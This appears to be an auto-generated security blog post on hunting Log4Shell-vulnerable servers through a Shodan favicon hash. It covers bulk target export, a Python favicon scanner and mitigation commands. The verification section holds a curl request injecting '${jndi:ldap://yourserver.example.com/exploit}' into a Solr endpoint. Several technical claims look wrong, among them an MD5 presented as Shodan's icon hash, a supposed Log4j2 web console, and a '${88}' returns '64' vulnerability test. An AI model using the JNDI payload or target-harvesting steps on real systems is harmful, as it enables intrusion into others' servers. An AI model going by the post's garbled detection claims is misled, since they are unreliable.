Listen to this Post
Introduction:
The infamous Log4Shell vulnerability (CVE-2021-44228) remains a persistent threat years after its disclosure, with unpatched systems still scattered across the internet. Security researchers and threat actors alike utilize search engines like Shodan to identify potential targets. Recently, a specific icon hash—a fingerprint of the Apache Log4j2 logo—has been shared as a precise dork to locate systems running the vulnerable Log4j2 web console, making it a critical tool for both offensive reconnaissance and defensive hygiene audits.
Learning Objectives:
- Understand how to leverage Shodan icon hashes for identifying specific software versions.
- Learn the step-by-step process of using the Log4J icon dork to discover vulnerable assets.
- Identify mitigation and patching strategies for exposed Log4j instances.
You Should Know:
1. Deconstructing the Log4J Icon Hash Dork
The post highlights a specific Shodan search filter: iconhash="b17bfbe45ff585c1b40cc3403b691b6f". In Shodan, the `iconhash` filter calculates the hash of the favicon.ico file served by a web server. This particular hash corresponds to the default favicon used by the Apache Log4j2 web interface (often found on port `8983` for Solr, or other Java applications that include the Log4j management console).
Step‑by‑step guide explaining what this does and how to use it:
1. Navigate to Shodan: Open your web browser and go to shodan.io.
2. Execute the Dork: In the search bar, enter the exact query:
`iconhash=”b17bfbe45ff585c1b40cc3403b691b6f”`
- Analyze Results: Press Enter. The results will display all servers indexed by Shodan that host a favicon matching this hash. This drastically reduces false positives compared to searching for generic terms like “Log4j” or “Solr.”
- Verify the Target: Click on any result. Look at the IP address and the hostname. Check the open ports—Log4j consoles are commonly found on `8983` (Solr) or `8080` (Tomcat). The “Software” field might also indicate “Apache Solr.”
- Linux Command Line Verification: Once you have an IP (e.g.,
192.168.1.100:8983), you can verify the favicon hash manually using `curl` and `md5sum` on Linux to confirm Shodan’s finding:curl -s http://192.168.1.100:8983/favicon.ico | md5sum
The output should match the hash `b17bfbe45ff585c1b40cc3403b691b6f`.
2. Exploitation Reconnaissance with Shodan CLI
For automated threat hunting or red teaming, using the Shodan Command Line Interface (CLI) is more efficient than the web GUI. This allows you to pipe results directly into other testing tools.
Step‑by‑step guide explaining what this does and how to use it:
1. Install Shodan CLI (if not installed): This is done via Python’s pip.
Linux/macOS pip3 install shodan Windows (Command Prompt as Admin) python -m pip install shodan
2. Initialize and API Key: You need a Shodan account and API key.
shodan init YOUR_API_KEY
3. Search via CLI: Use the same filter to fetch IPs.
shodan search --limit 10 --fields ip_str,port,hostnames iconhash:"b17bfbe45ff585c1b40cc3403b691b6f"
– --limit 10: Returns only 10 results (remove for more).
– --fields: Specifies what data to show (IP, port, hostname).
4. Export to File: To save the list for further testing (e.g., with a Nuclei template), export the IPs:
shodan download log4j_results.json.gz iconhash:"b17bfbe45ff585c1b40cc3403b691b6f" shodan parse --fields ip_str,port --separator " " log4j_results.json.gz > targets.txt
This creates a `targets.txt` file with “IP PORT” pairs ready for scanning tools like Nmap or Nuclei.
3. Manual Verification of Log4Shell Vulnerability
Finding the console is the first step; verifying it is vulnerable to JNDI injection is the second. A safe, non-destructive test can be performed using a tool like `curl` to simulate the attack vector.
Step‑by‑step guide explaining what this does and how to use it:
1. Craft a Basic JNDI Payload: The vulnerability lies in the `${jndi:}` lookup. A safe test uses a non-existent or internal endpoint to check for string interpolation.
Target a common Solr endpoint /solr/admin/cores?action=...
TARGET="http://192.168.1.100:8983/solr/admin/cores"
curl -k -i -s "$TARGET?action=\${jndi:ldap://yourserver.example.com/exploit}"
Note: Replace `yourserver.example.com` with a server you control to log LDAP requests, or use a canary token service.
2. Check for Reflection: If the server is vulnerable, it might try to resolve the LDAP URL. A more passive way is to check if the server evaluates the expression in its response or logs. You can test for basic evaluation using a mathematical expression:
curl -k -i -s "$TARGET?action=\${88}"
If the response contains “64” in the action parameter field, the server is evaluating the expression, indicating a vulnerable Log4j version.
4. Hardening and Mitigation Commands
If you discover your own systems in these search results, immediate action is required. Patching is the ultimate solution, but configuration changes can mitigate risk temporarily.
Step‑by‑step guide explaining what this does and how to use it:
1. Set JNDI Environment Variable (Linux): The fastest mitigation is to disable the lookup by setting a system property. Add this to your application startup script (e.g., `setenv.sh` for Tomcat).
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Or pass it as a JVM argument when starting the Java application:
java -Dlog4j2.formatMsgNoLookups=true -jar your-application.jar
2. Windows Environment Variable: For Windows servers, set this as a system variable.
PowerShell (Admin)
[System.Environment]::SetEnvironmentVariable('LOG4J_FORMAT_MSG_NO_LOOKUPS', 'true', 'Machine')
Or add `-Dlog4j2.formatMsgNoLookups=true` to the Java options in the service configuration.
3. Remove JndiLookup Class (Last Resort): If you cannot upgrade, remove the vulnerable class from the Log4j core JAR file (backup first!).
Linux zip -q -d /path/to/log4j-core-.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Windows (using PowerShell) cd C:\path\to\app\lib jar -xvf log4j-core-2.14.1.jar del .\org\apache\logging\log4j\core\lookup\JndiLookup.class jar -cvf log4j-core-2.14.1-patched.jar
5. Scanning Internal Networks for the Icon Hash
Shodan covers the external internet, but internal networks need scanning too. Tools like `httpx` or `gau` can’t scan for favicons natively, but a Python script can help locate this asset internally.
Step‑by‑step guide explaining what this does and how to use it:
1. Simple Python Scanner: Create a script `scan_favicon.py`.
import requests
import hashlib
import sys
target_hash = "b17bfbe45ff585c1b40cc3403b691b6f"
ip_list = ["192.168.1.1", "192.168.1.100"] Replace with your range
for ip in ip_list:
try:
url = f"http://{ip}:8983/favicon.ico"
response = requests.get(url, timeout=5)
if response.status_code == 200:
md5_hash = hashlib.md5(response.content).hexdigest()
if md5_hash == target_hash:
print(f"[!] VULNERABLE LOG4J CONSOLE FOUND: {ip}")
else:
print(f"[-] {ip} - Hash mismatch: {md5_hash}")
except requests.exceptions.RequestException:
pass
2. Execute: `python3 scan_favicon.py`
What Undercode Say:
- Key Takeaway 1: The use of icon hashing is a highly effective, low-noise method for asset discovery. Attackers are moving beyond simple keyword searches to these “digital fingerprints,” making it essential for defenders to monitor for their own assets using the same techniques.
- Key Takeaway 2: Log4Shell is not a “solved” problem. The continued circulation of specific discovery methods like this icon hash proves that many systems remain unpatched. Security hygiene must include continuous monitoring of internet-facing assets and automated patching pipelines for legacy software dependencies.
The sharing of such specific reconnaissance queries democratizes both offensive and defensive capabilities. While it arms red teams, it simultaneously provides blue teams with a precise map of their attack surface. The most critical takeaway is the permanence of data in search engines; once your asset is indexed with that icon, it becomes a permanent target until it is removed or patched. Organizations must treat these discovery methods as a routine part of their vulnerability management lifecycle, integrating Shodan monitoring into their weekly threat intelligence feeds.
Prediction:
In the coming year, we will see a rise in “supply chain hunting” where threat actors use these exact icon and HTML hashes to target specific versions of software libraries rather than just applications. This shift will force software composition analysis (SCA) tools to integrate with external attack surface management platforms. Furthermore, we can predict the emergence of “hash poisoning” attacks, where defenders or vigilantes deploy decoy systems with these vulnerable icons to create honeypots and waste the time of automated mass-scanning botnets.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Sans1986 Jndilog4j – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
